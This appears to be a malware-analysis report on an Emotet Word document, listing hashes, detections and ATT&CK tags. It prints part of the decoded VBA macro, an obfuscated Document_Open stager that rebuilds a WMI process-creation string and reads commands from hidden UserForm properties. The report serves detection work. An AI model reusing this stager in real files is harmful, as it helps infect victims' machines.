Emotet — Office (OLE) malware analysis

Static analysis result for SHA-256 608d193da4a1cb73…

MALICIOUS

Office (OLE)

174.6 KB Created: 2020-08-18 08:19:00 Authoring application: Microsoft Office Word First seen: 2020-09-15
MD5: f2a9e4270ca7da9010bbc39858491225 SHA-1: f50d890e1f66614c9f0cf2df85f0f55dbd4271a9 SHA-256: 608d193da4a1cb7381e8ac689f9aaa67da26cf5e0033ef39896ddf7e34e2dbf7
262 Risk Score

Malware Insights

Emotet · confidence 95%

MITRE ATT&CK
T1059.005 Visual Basic T1566.001 Spearphishing Attachment T1203 Exploitation for Client Execution

The file contains VBA macros, including a Document_Open macro and a hidden UserForm command stager, which are indicative of Emotet malware. The ClamAV detection explicitly names Emotet. The macro's obfuscated nature and use of CreateObject suggest it's designed to download and execute a secondary payload, a common Emotet behavior.

Heuristics 7

  • ClamAV: Doc.Downloader.Emotet-9373337-0 critical CLAMAV_DETECTION
    ClamAV detected this file as malware: Doc.Downloader.Emotet-9373337-0
  • VBA macros detected medium 4 related findings OLE_VBA_MACROS
    Document contains VBA macro code
  • VBA UserForm hidden-property command stager critical OLE_VBA_USERFORM_HIDDEN_COMMAND_STAGER
    VBA auto-exec macro creates a COM object from a decoded variable and reconstructs command text through Split/Join and hidden UserForm properties such as ControlTipText, Tag, Pages, or HelpContextId. This is a high-confidence macro downloader/loader shape seen in the reviewed OLE set, but it is not an Office CVE exploit primitive.
  • Document_Open macro high OLE_VBA_DOCOPEN
    Document_Open macro
  • CreateObject call high OLE_VBA_CREATEOBJ
    CreateObject call
  • VBA p-code auto-exec with execution tokens high OLE_VBA_PCODE_AUTOEXEC_EXEC
    Compiled VBA/cache stream contains an auto-execution token together with shell/download/object-execution tokens. This catches p-code-only or source-extraction-failure macro documents where visible source is unavailable.
  • Embedded URL info EMBEDDED_URL
    One or more URLs were extracted from the document. The URL itself is not a detection — see the per-URL labels for which channel (macro, JS, link annotation, document body, ...) reached each URL.
    URL http://schemas.openxmlformats.org/drawingml/2006/main In document text (OLE body)

Extracted artifacts 1

Files carved from inside the sample during analysis.

FilenameKindSourceSize
macros.bas vba-macro oletools.olevba.extract_macros (decoded VBA source) 11091 bytes
SHA-256: f9ebc04dacaabd143467b909ac4dc546d597b0544c8c2bc38b54e14bd2cced37
Preview script
First 1,000 lines of the extracted script
Attribute VB_Name = "G6srlicitafymaaqhy"
Attribute VB_Base = "1Normal.ThisDocument"
Attribute VB_GlobalNameSpace = False
Attribute VB_Creatable = False
Attribute VB_PredeclaredId = True
Attribute VB_Exposed = True
Attribute VB_TemplateDerived = True
Attribute VB_Customizable = True
Private Sub _
Document_open()
Qh300jh2fz8xvw.Hbpixwncmtfs0n
End Sub


Attribute VB_Name = "Qh300jh2fz8xvw"
Attribute VB_Base = "0{A6752F43-6D45-49E8-BD49-C23EE977CCE3}{47056B96-5C5C-4944-83FA-B0207F8E591B}"
Attribute VB_GlobalNameSpace = False
Attribute VB_Creatable = False
Attribute VB_PredeclaredId = True
Attribute VB_Exposed = False
Attribute VB_TemplateDerived = False
Attribute VB_Customizable = False
Function Hbpixwncmtfs0n()
   For Rmyj3_qxqp8stgs = 5 To 62
DoEvents
Debug.Print (CStr(Rj0n8gb763zur) & CStr(Oe5_yyjwqxo6qi8))
Debug.Print (CStr(Rj0n8gb763zur) & CStr(Oe5_yyjwqxo6qi8))
Debug.Print (CStr(Rj0n8gb763zur) & CStr(Oe5_yyjwqxo6qi8))
Next Rmyj3_qxqp8stgs
Voz7w9mfgvdy_uf = 553
Gc_f_a6psnya7fwx = 680
Voz7w9mfgvdy_uf = Voz7w9mfgvdy_uf + Gc_f_a6psnya7fwx
Z_u2rpozctt = Voz7w9mfgvdy_uf
W_bemqqv6vfe4 = Qh300jh2fz8xvw.HelpContextId + 50 + 50
   For Rmyj3_qxqp8stgs = 5 To 62
DoEvents
Debug.Print (CStr(Rj0n8gb763zur) & CStr(Oe5_yyjwqxo6qi8))
Debug.Print (CStr(Rj0n8gb763zur) & CStr(Oe5_yyjwqxo6qi8))
Debug.Print (CStr(Rj0n8gb763zur) & CStr(Oe5_yyjwqxo6qi8))
Next Rmyj3_qxqp8stgs
Voz7w9mfgvdy_uf = 780
Gc_f_a6psnya7fwx = 941
Voz7w9mfgvdy_uf = Voz7w9mfgvdy_uf + Gc_f_a6psnya7fwx
Wselclqic4y_yw = Voz7w9mfgvdy_uf
Kcv2rlsv557xo8_2 = ChrW(W_bemqqv6vfe4 + (15))
   For Rmyj3_qxqp8stgs = 5 To 62
DoEvents
Debug.Print (CStr(Rj0n8gb763zur) & CStr(Oe5_yyjwqxo6qi8))
Debug.Print (CStr(Rj0n8gb763zur) & CStr(Oe5_yyjwqxo6qi8))
Debug.Print (CStr(Rj0n8gb763zur) & CStr(Oe5_yyjwqxo6qi8))
Next Rmyj3_qxqp8stgs
Voz7w9mfgvdy_uf = 29
Gc_f_a6psnya7fwx = 587
Voz7w9mfgvdy_uf = Voz7w9mfgvdy_uf + Gc_f_a6psnya7fwx
Hsrqp77f2_ej6cfhz = Voz7w9mfgvdy_uf
L4xf5y989r7 = "58[sn ]]][ jsa 21u7gsggg58[sn ]]][ jsa 21u7gsgggw58[sn ]]][ jsa 21u7gsgggi58[sn ]]][ jsa 21u7gsgggnm58[sn ]]][ jsa 21u7gsggg58[sn ]]][ jsa 21u7gsggggm58[sn ]]][ jsa 21u7gsgggt58[sn ]]][ jsa 21u7gsggg58[sn ]]][ jsa 21u7gsggg" + Kcv2rlsv557xo8_2 + "58[sn ]]][ jsa 21u7gsggg58[sn ]]][ jsa 21u7gsggg:58[sn ]]][ jsa 21u7gsgggw58[sn ]]][ jsa 21u7gsgggin58[sn ]]][ jsa 21u7gsggg58[sn ]]][ jsa 21u7gsggg358[sn ]]][ jsa 21u7gsggg258[sn ]]][ jsa 21u7gsggg_58[sn ]]][ jsa 21u7gsggg" + Qh300jh2fz8xvw.A4ygdr1mm2os + "58[sn ]]][ jsa 21u7gsgggro58[sn ]]][ jsa 21u7gsggg58[sn ]]][ jsa 21u7gsgggce58[sn ]]][ jsa 21u7gsgggs58[sn ]]][ jsa 21u7gsgggs58[sn ]]][ jsa 21u7gsggg"
   For Rmyj3_qxqp8stgs = 5 To 62
DoEvents
Debug.Print (CStr(Rj0n8gb763zur) & CStr(Oe5_yyjwqxo6qi8))
Debug.Print (CStr(Rj0n8gb763zur) & CStr(Oe5_yyjwqxo6qi8))
Debug.Print (CStr(Rj0n8gb763zur) & CStr(Oe5_yyjwqxo6qi8))
Next Rmyj3_qxqp8stgs
Voz7w9mfgvdy_uf = 537
Gc_f_a6psnya7fwx = 256
Voz7w9mfgvdy_uf = Voz7w9mfgvdy_uf + Gc_f_a6psnya7fwx
Rzimki_tlw6x5kkzu5 = Voz7w9mfgvdy_uf
V_ffad4wb405 = Jl1903wwich0o8tr(L4xf5y989r7)
   For Rmyj3_qxqp8stgs = 5 To 62
DoEvents
Debug.Print (CStr(Rj0n8gb763zur) & CStr(Oe5_yyjwqxo6qi8))
Debug.Print (CStr(Rj0n8gb763zur) & CStr(Oe5_yyjwqxo6qi8))
Debug.Print (CStr(Rj0n8gb763zur) & CStr(Oe5_yyjwqxo6qi8))
Next Rmyj3_qxqp8stgs
Voz7w9mfgvdy_uf = 857
Gc_f_a6psnya7fwx = 856
Voz7w9mfgvdy_uf = Voz7w9mfgvdy_uf + Gc_f_a6psnya7fwx
G4oqtmm0ub8tnocn7 = Voz7w9mfgvdy_uf
Set Sfwds92u8sdx = CreateObject(V_ffad4wb405)
   For Rmyj3_qxqp8stgs = 5 To 62
DoEvents
Debug.Print (CStr(Rj0n8gb763zur) & CStr(Oe5_yyjwqxo6qi8))
Debug.Print (CStr(Rj0n8gb763zur) & CStr(Oe5_yyjwqxo6qi8))
Debug.Print (CStr(Rj0n8gb763zur) & CStr(Oe5_yyjwqxo6qi8))
Next Rmyj3_qxqp8stgs
Voz7w9mfgvdy_uf = 572
Gc_f_a6psnya7fwx = 857
Voz7w9mfgvdy_uf = Voz7w9mfgvdy_uf + Gc_f_a6psnya7fwx
Gfqni7ivwkh9z2 = Voz7w9mfgvdy_uf
Yl9rcgfyysykxp9_ = Qh300jh2fz8xvw.Wsx36fc35uz.ControlTipText
   For Rmyj3_qxqp8stgs = 5 To 62
DoEvents
Debug.Print (CStr(Rj0n8gb763zur) & CStr(Oe5_yyjwqxo6qi8))
Debug.Print (CStr(Rj0n8gb763zur) & CStr(Oe5_yyjw
... (truncated)

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